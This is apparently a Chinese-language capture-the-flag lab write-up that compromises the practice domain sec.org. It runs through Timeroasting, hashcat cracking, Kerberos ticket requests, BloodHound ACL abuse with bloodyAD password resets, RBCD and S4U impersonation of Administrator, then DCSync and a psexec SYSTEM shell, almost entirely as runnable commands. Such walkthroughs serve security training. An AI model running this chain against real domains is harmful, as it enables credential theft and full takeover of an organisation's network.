目标地址本机地址192.168.111.10192.168.111.25扫描根据下面nmap和fscan扫描结果可知192.168.111.10是域名sec.org的域控DCnmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10同时根据扫描结果配置好host192.168.111.10 ad.sec.org adTimeroasting攻击结合靶场标题与时间相关对其进行timeroasting攻击Timeroasting是一种针对Windows Active DirectoryAD域环境的凭据破解技术。它利用Windows域控制器的时间同步服务Windows Time Service通常称为 W32Time所涉及的MS-SNTP认证机制尝试获取计算机账户相关的加密认证数据再通过离线字典或暴力破解尝试恢复账户密码。nxc smb 192.168.111.10 -M timeroast | grep TIMEROAST | awk {print $NF} timeroast.txthashcat获取筛选后的hash值后进行hashcat爆破经过与备份文件对比发现RID1601账户密码为bmhtawhashcat -m 31300 --username timeroast.txt rockyou.txt又根据靶场简介猜测用户名为mht因为fscan中知晓SMB服务不接受NTLM认证于是利用kerbrute工具去验证kerbrute userenum --dc 192.168.111.10 -d sec.org users.txt先同步域控时间再用密码向KDC换一张TGT存成mht$.ccache文件告诉后续工具去读这个文件里的票sudo ntpdate -u 192.168.111.10#同步域控时间防止换取票据失败getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:bmhtawexport KRB5CCNAMEmht$.ccache111bloodhound血猎犬上线对域内关系进行整理收集bloodhound-python -c ALL --zip -d sec.org -u mht$ -p bmhtaw -ns 192.168.111.10 -k经过bloodhound探寻找到一条以mht为起点到域控的acl链路ACL链路利用添加MHT进入OPERATIONS组MHT用户对OPERATIONS组拥有AddSelf扩展权限即有权将自己添加进该组。而当MHT用自己的凭据直接把自己mht$加入OPERATIONS组后MHT就继承了OPERATIONS组的所有权限注意因为NTLM被禁用所以所有命令必须带-k强制走KerberosbloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw add groupMember operations mht$修改用户BB的密码OPERATIONS组也就是刚加进来的MHT对用户BB拥有ForceChangePassword权限直接修改为其密码bloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw set password BB hacker123修改DANCINGTIME对象的DACL权限BB对DANCINGTIME这个用户对象拥有WriteDacl权限即可以修改它的DACLWriteDACL不等于能改这个对象的属性。想拿它的完全控制得先把自己的即BB的权限提上去bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add genericAll DANCINGTIME$ BB题外话拿到机器账户的GenericAll后最优雅的做法是影子凭据即写msDS-KeyCredentialLink然后再用PKINIT换票因为它绕开改密码的一切限制。bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add shadowCredentials DANCINGTIME$结果[] KeyCredential generated with following sha256 of RSA key: 07fb0715...[-] PKINIT failed on DC 192.168.111.10, you must find a Kerberos server with a certification authority![] PKINIT PFX certificate saved at: DANCINGTIME_G6.pfx...kerbad.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPPKDC_ERR_PADATA_TYPE_NOSUPP → DC上没有PKINIT证书域里没有CA或没给DC装智能卡登录证书KDC根本不支持PKINIT预认证。结论影子凭据、certipy、任何证书类攻击全部不可用还是走传统的修改密码用GenericAll重置DANCINGTIME$的密码既然有GenericAll直接重置其密码让我们后续能以DANCINGTIME$的身份登录之后换取DANCINGTIME$的票据bloodyAD --host ad.sec.org -k -d sec.org -u BB -p hacker123 set password DANCINGTIME$ hacker123获取DELE组的完全控制权限换用DANCINGTIME$的身份因为它对DELE组有WriteDACL同样提权限加用户getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccachebloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add genericAll Dele DANCINGTIME$bloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add groupMember DELE mht$重置ZZ的密码DELE组成员拥有对ZZ的密码重置权限bloodyAD --host ad.sec.org -d sec.org -u mht$ -p bmhtaw -k set password ZZ hacker123RBCDZZ对域控计算机账户AD$有AddAllowedToAct权限也就是能写msDS-AllowedToActOnBehalfOfOtherIdentity这是RBCD基于资源的约束委派的开关让某个你控制的机器用户“代表”任意用户去访问DCbloodyAD --host ad.sec.org -d sec.org -u ZZ -p hacker123 -k add rbcd AD$ DANCINGTIME$#把AD$配置成允许DANCINGTIME$代表任意用户访问我因为被委派方必须是带SPN的账户即机器账户默认自带HOST/NAME所以选择DANCINGTIME$来当被委派方冒充域管S4U2Self S4U2ProxyS4U2Self让DANCINGTIME$要一张“证明我是Administrator”的票S4U2Proxy用这张票去换一张真正能访问cifs/ad.sec.org的服务票。getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccache#然后走S4U流程要一张Administrator访问DC的服务票据getST.py -k -no-pass -dc-ip 192.168.111.10 -spn cifs/ad.sec.org -impersonate Administrator sec.org/DANCINGTIME$export KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccacheDCSync拿下全域哈希secretsdump.py -k -no-pass -just-dc -dc-ip 192.168.111.10 sec.org/Administratorad.sec.orgSHELL利用那张cifs票据拿DC的system shellexport KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccachepsexec.py -k -no-pass -codec cp936 -dc-ip 192.168.111.10 sec.org/Administratorad.sec.org